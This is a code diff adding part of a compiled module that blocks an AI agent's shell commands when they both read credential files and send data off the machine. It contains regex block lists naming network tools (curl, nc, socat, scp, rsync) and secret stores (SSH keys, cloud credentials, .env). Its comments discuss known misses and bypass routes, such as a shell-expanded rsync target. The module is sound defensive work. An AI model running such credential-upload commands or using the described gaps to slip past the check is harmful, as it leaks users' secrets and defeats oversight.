+ * A command that transmits data off the machine, anchored to a command position (so `echo curl`
+ * and `grep nc file` do not trip it). The file-copy tools are here because §4.1.1 part 1 makes
+ * secrets exfiltration **by any route** regardless of destination; the same-pipeline conjunction
+ * is what keeps them from firing on ordinary publishing (`scp ./report.pdf deploy@myhost:/srv/`
+ * carries no credential source). `git`/`gh` stay out — a remote's identity is part 2, which cannot
+ * be judged statically.
+ *
+ * **`rsync` is deliberately absent from this list and carries its own arm** below, because it is
+ * the only name here with an ordinary LOCAL mode; every name that remains transmits by definition.
+ */
+const NETWORK_SINK_RE = new RegExp(CMD_POS +
+    '(?:curl|wget|nc|ncat|netcat|telnet|socat|tftp|scp|sftp|aws\\s+s3|gsutil|gcloud\\s+storage)\\b');
+/**
+ * A REMOTE target token, in rsync's own reading of one: a `:` appearing before any `/`. That single
+ * rule covers every remote spelling rsync accepts — `user@host:path`, the empty-path `user@host:`,
+ * a bare `host:/srv/`, the daemon `host::module/`, and `rsync://host/module/`, whose scheme colon
+ * also precedes its first slash — and it is the same rule rsync applies, so the floor and the tool
+ * disagree about no command.
+ *
+ * **The host run is a `*` and not a `+`, and the form that needs it is the single-leading-colon
+ * `:module/`** — NOT the daemon `::module/`, which matches either way because `:` is itself a member
+ * of the run's class, so under `+` the first colon feeds the run and the second satisfies the
+ * literal. rsync reads both as remote — measured, it hands the remote shell an EMPTY hostname for
+ * `:module/` rather than a hostname of `:` — and neither is a local path, so tightening the run
+ * would drop a remote spelling and buy nothing back. `:module/` is
+ * the case that pins this; the daemon form cannot, and a warning nothing can falsify is worth less
+ * than no warning.
+ *
+ * **A token whose first `/` comes before any `:` is a local path**, which is what leaves
+ * `~/backup/`, `/mnt/backup/` and `./weird:name/` alone. The bare `weird:name/` spelling is remote
+ * on both readings: rsync would try to reach a host called `weird`, and the `./` that makes it a
+ * directory is rsync's own documented answer. A Windows drive letter (`c:/backup/`) resolves the
+ * same way for the same reason.
+ *
+ * **`#` is NOT excluded here.** A `#` opens a comment only at the START of a word, so inside a token
+ * it is an ordinary character: `back#up:tmp` is a host called `back#up`, measured against rsync
+ * itself. Excluding it would turn a genuinely remote spelling into a miss.
+ *
+ * **Options are excluded, and the exclusion is PARTIAL — read this before trusting it.** `(?!-)`
+ * removes a token that itself begins with `-`, so the attached spelling of a colon-carrying flag
+ * (`--chown=deploy:deploy`, `--usermap=me:them`, `--exclude=tmp:cache`) is covered. **The
+ * space-separated spelling is NOT**: rsync accepts `--chown deploy:deploy`, whose value is its own
+ * token and is indistinguishable from an operand without knowing which options take values. So a
+ * purely local backup written that way is still refused.
+ *
+ * **That residual is accepted, not overlooked.** Closing it needs a per-flag table of which options
+ * take a separate value — the growth {@link CMD_POS} refuses, and where a wrong entry is a MISS
+ * rather than mere noise — while the attached spelling is the common one and the whole class floored
+ * before this arm existed, so the arm narrows it rather than widening it. It is pinned in
+ * `shellHardline.spec.ts` as knowingly over-refused, so it is a decision on the record rather than
+ * something a later reader discovers.
+ */
+const RSYNC_REMOTE_TARGET = '(?!-)[^\\s/|]*:';
+/**
+ * `rsync` transmitting off the machine — the command at a command position, and a remote target
+ * somewhere in its own stage of the pipeline.
+ *
+ * **The `|` exclusion bounds the search to rsync's own stage of the pipeline**, so a later stage's
+ * colon (`rsync -av ~/.ssh/ ~/backup/ | grep 'total size:'`) is not read as rsync's destination.
+ *
+ * **`#` is deliberately NOT excluded here, and a trailing comment therefore over-refuses**
+ * (`rsync -av ~/.ssh/ ~/backup/ # note: keep two copies` is refused, though it copies to
+ * `~/backup/`). That is accepted, and the reason is worth stating because the opposite looks
+ * obviously right: this run walks ACROSS tokens, so excluding `#` from it stops the walk at the
+ * FIRST `#` anywhere in the command — and `#` opens a comment only at the start of a WORD, so
+ * `--exclude=#recycle` and `~/x#1/.ssh/` are ordinary arguments that would then silence the whole
+ * arm. That is a one-token bypass of an exfiltration floor, which is a far worse error than the
+ * refusal it would remove. The three shapes are pinned as guards in `shellHardline.spec.ts`, and
+ * the over-refusal is pinned beside them as knowingly accepted.
+ *
+ * **The asymmetry with {@link RSYNC_REMOTE_TARGET}, which does not exclude `#` either, is not an
+ * inconsistency:** there the reason is that a `#` inside a token is an ordinary character, so
+ * `back#up:tmp` is a real host. Both halves decline the exclusion; only the cost of taking it
+ * differs.
+ *
+ * **Do not reason about a change here as "strictly subtractive".** That argument belongs to the
+ * destructive-verb matchers above, where removing a refusal is the safe direction. In THIS section
+ * removing a refusal is the harm — the whole arm exists to refuse — so a narrowing needs the same
+ * scrutiny a widening gets elsewhere, and the polarity flips at the section boundary.
+ *
+ * **It asks whether a remote end is NAMED, not which side of the copy it is on**, so a pull from a
+ * remote source into a credential directory also matches. Naming the side means resolving operand
+ * positions past a per-flag table of which options take values — the growth {@link CMD_POS}
+ * refuses — and the direction this errs in is the safe one: it can only keep a refusal that the
+ * unconditional arm already made.
+ *
+ * **A target the shell builds rather than spells is a MISS** — `rsync -a ~/.ssh/ $DEST` is clear,
+ * because an expansion hides the colon from a lexical test. That is this module's charter rather
+ * than an oversight (it does not parse the shell and never will), and the miss is not naked: the
+ * command is rated at both rated rungs. It is pinned so it stays a decision.
+ */
+const RSYNC_REMOTE_SINK_RE = new RegExp(CMD_POS + 'rsync\\b[^|]*\\s' + RSYNC_REMOTE_TARGET);
+/**
+ * A path token that ENDS here — at end of input, at whitespace, or after a single trailing slash.
+ * This is what keeps the directory forms below from swallowing the files inside them, so
+ * `~/.ssh/id_rsa.pub` is not caught by the `~/.ssh` pattern.
+ */
+const TOKEN_END = '/?(?=$|\\s)';
+/**
+ * NOT a public key. `id_rsa.pub` satisfies `\bid_rsa\b` (the boundary is the dot), and uploading a
+ * public key is ordinary work with no way out of an unconfigurable refusal, so every private-key
+ * pattern carries this lookahead over the rest of the path token.
+ */
+const NOT_PUBLIC_KEY = '(?![^\\s]*\\.pub\\b)';
+/** A dotenv file (`.env`, `.env.production`), not preceded by word characters (`--env-file`). */
+const DOTENV_RE = /(?<![\w.\-])\.env(?:\.[^\s/]+)?(?=$|\s)/;
+/**
+ * A dotenv file being WRITTEN by the pipeline rather than read out of it — `curl -o .env <url>`,
+ * `wget --output-document=.env <url>`, `curl <url> > .env`. The data flows IN, so the
+ * source-plus-sink conjunction is a false proxy here. Suppression only; see rule 4 above.
+ */
+const DOTENV_AS_OUTPUT_TARGET = /(?:-o|--output|--output-document|>)[\s=]*[^\s]*\.env(?:\.[^\s/]+)?(?=$|\s)/;
+/**
+ * Credential material whose presence in a transmitting pipeline has no legitimate reading:
+ * private keys, cloud/registry credential stores, keyring directories, dotenv files — plus a bare
+ * `env`/`printenv` whose whole output is being piped somewhere.
+ *
+ * The `env`/`printenv` arm requires the command to be the WHOLE pipeline stage (`env |`, or `env`
+ * at the end), so the shell's `env VAR=value <cmd>` wrapper form — e.g. `env FOO=bar curl …` — is
+ * not mistaken for dumping the environment.
+ */
+const CREDENTIAL_SOURCE_PATTERNS = [
+    // Private keys, by path or by name — never the `.pub` half.
+    new RegExp('\\.ssh/id_' + NOT_PUBLIC_KEY),
+    new RegExp('\\bid_(?:rsa|dsa|ecdsa|ed25519)\\b' + NOT_PUBLIC_KEY),
+    // Whole credential DIRECTORIES (rule 3): the token has to end at the directory.
+    new RegExp('\\.ssh' + TOKEN_END),
+    new RegExp('\\.aws' + TOKEN_END),
+    new RegExp('\\.gnupg' + TOKEN_END),
+    new RegExp('\\.kube' + TOKEN_END),
+    new RegExp('\\.docker' + TOKEN_END),
+    new RegExp('\\.config/gcloud' + TOKEN_END),
+    // Individual credential stores.
+    /\.aws\/credentials\b/,
+    /\.netrc\b/,
+    /\.npmrc\b/,
+    /\.docker\/config\.json\b/,
+    /\.kube\/config\b/,
+    /\.gnupg\//,
+    /\.config\/gcloud\//,
+    // The whole environment, piped somewhere.
+    new RegExp(CMD_POS + '(?:printenv|env)\\s*(?=\\||$)'),
+];
+/**
+ * **Every string a §8 decision is made of, in one record — exported ONLY for the snapshot gate**
+ * (`shellHardlinePatternSurface.spec.ts`), which freezes it as a literal in its own source. Nothing
+ * in production reads it, and nothing should: it is the module's pattern surface made addressable so
+ * that a narrowing cannot land silently. **Any new pattern constant joins it**, and the gate's
+ * key-set check fails if one does not.
+ *
+ * **Membership is decided by what the patterns are BUILT FROM, not by what this file declares** —
+ * which is why {@link COMMAND_SEPARATOR_CLASS}, imported from `core/shell/normalize`, is a member.
+ * Floor behaviour depends on it and it is edited in another module, so a change there is exactly the
+ * silent narrowing this exists to make loud.
+ *
+ * A value composed at module load carries its parts with it: {@link CMD_POS} expands
+ * {@link WRAPPER_ARMS}, and {@link ROOT_TARGET} expands `quotedOrBare`, so those parts are frozen
+ * whether or not they are also members. The parts are listed anyway, because a diff that names
+ * `H_TOKEN_EXCLUSIONS` is actionable where one that names only `CHOWN_HEAD` is a wall of regex.
+ *
+ * Regexes are recorded as `String(re)` rather than `re.source` **because the flags are part of the
+ * behaviour**: a `g` flag makes `.test()` stateful across calls, a change no source-only record
+ * would show.
+ */
+export const HARDLINE_PATTERN_SURFACE = Object.freeze({
+    // Structural / shared.
+    COMMAND_SEPARATOR_CLASS,
+    WRAPPER_FLAGS,
+    WRAPPER_ARMS: Object.freeze([...WRAPPER_ARMS]),
+    CMD_POS,
+    TARGET_TOKEN_END,
+    H_SPACE,
+    H_TOKEN_EXCLUSIONS,
+    H_TOKEN_CHAR,
+    H_OPERAND_CHAR,
+    // The destructive-verb arms and the fragments they share.
+    ROOT_TARGET,
+    SYSTEM_DIR_TARGET,
+    RECURSIVE_FLAG,
+    CHOWN_SKIPPABLE_ARG,
+    CHOWN_HEAD,
+    // The pattern list itself, sources only: the human descriptions beside them are prose, and a
+    // reworded one is not a narrowing, so they stay out rather than train a reader to update the
+    // frozen literal without reading why the cell went red.
+    HARDLINE_PATTERNS: Object.freeze(HARDLINE_PATTERNS.map(([pattern]) => String(pattern))),
+    // The exfiltration arms.
+    PIPELINE_SPLIT_RE: String(PIPELINE_SPLIT_RE),
+    NETWORK_SINK_RE: String(NETWORK_SINK_RE),
+    RSYNC_REMOTE_TARGET,
+    RSYNC_REMOTE_SINK_RE: String(RSYNC_REMOTE_SINK_RE),
+    TOKEN_END,
+    NOT_PUBLIC_KEY,
+    DOTENV_RE: String(DOTENV_RE),
+    DOTENV_AS_OUTPUT_TARGET: String(DOTENV_AS_OUTPUT_TARGET),
+    CREDENTIAL_SOURCE_PATTERNS: Object.freeze(CREDENTIAL_SOURCE_PATTERNS.map((pattern) => String(pattern))),
+});
+/**
+ * Whether one pipeline both reads credential material and transmits data off the machine.
+ * Exported for tests, which pin BOTH directions: the credential-upload shapes must match, and
+ * `git push` / `git push --force` / `gh pr create` / `npm publish` / `docker push` / `git fetch` /
+ * `scp report.pdf host:` must not.
+ *
+ * @param normalizedLowerCommand the command after {@link normalizeCommand} + `toLowerCase()`,
+ *   i.e. exactly what the pattern loop in {@link checkHardline} matches against.
+ */
+export function isDeterministicExfiltration(normalizedLowerCommand) {
+    for (const pipeline of normalizedLowerCommand.split(PIPELINE_SPLIT_RE)) {
+        if (!NETWORK_SINK_RE.test(pipeline) && !RSYNC_REMOTE_SINK_RE.test(pipeline))
+            continue;
+        if (CREDENTIAL_SOURCE_PATTERNS.some((pattern) => pattern.test(pipeline)))
+            return true;
+        // A dotenv file is a source unless the pipeline is FETCHING one (rule 4).
+        if (DOTENV_RE.test(pipeline) && !DOTENV_AS_OUTPUT_TARGET.test(pipeline))
+            return true;
+    }
+    return false;
+}
+/**
+ * The {@link HardlineMatch.pattern} token for the arm that is not a pattern: §3/§8's deterministic
+ * exfiltration test, which decides per pipeline rather than by one regex.
+ */
+export const EXFILTRATION_ARM = 'deterministic-exfiltration';
+/**
+ * Check a raw command against the hardline blocklist. Normalizes first so
+ * obfuscated variants are caught. Returns the match (with a description) when the
+ * command is catastrophic, or `null` when it is allowed to proceed.
+ */
+export function checkHardline(command) {
+    const normalized = normalizeCommand(command).toLowerCase();
+    for (const [pattern, description] of HARDLINE_PATTERNS) {
+        if (pattern.test(normalized)) {
+            return { description, pattern: pattern.source };
+        }
+    }
+    // §3/§8 — the deterministic subset of the `attack` outcome, so refusing a credential upload does
+    // not depend on a model being right, and cannot be ridden through on an allow-list entry
+    // (consulted before the rater).
+    if (isDeterministicExfiltration(normalized)) {
+        return { description: 'sending credentials off the machine', pattern: EXFILTRATION_ARM };
+    }
+    return null;
+}
+/**
+ * The refusal a floor match produces, shared by both call sites (§8, §4.2).
+ *
+ * One wording, because they are one policy: the gate refuses the call before any rating or prompt,
+ * and the toolkit refuses it before spawn if anything ever reaches that far. A second sentence
+ * would let a user meet two different explanations of the same unappealable rule and conclude that
+ * two different rules exist.
+ *
+ * **It names no move.** §7's rejection moves — *"call the same command with a justification"* — are
+ * exactly what this refusal is not: the floor is unappealable at every rung, so inviting a
+ * justification would invite a round that cannot be won.
+ */
+export function buildHardlineRefusal(command, match) {
+    return (`Refusing to execute '${command}': blocked by hardline safety policy ` +
+        `(${match.description}). This is blocked even when command confirmation is disabled.`);
+}
+//# sourceMappingURL=hardline.js.map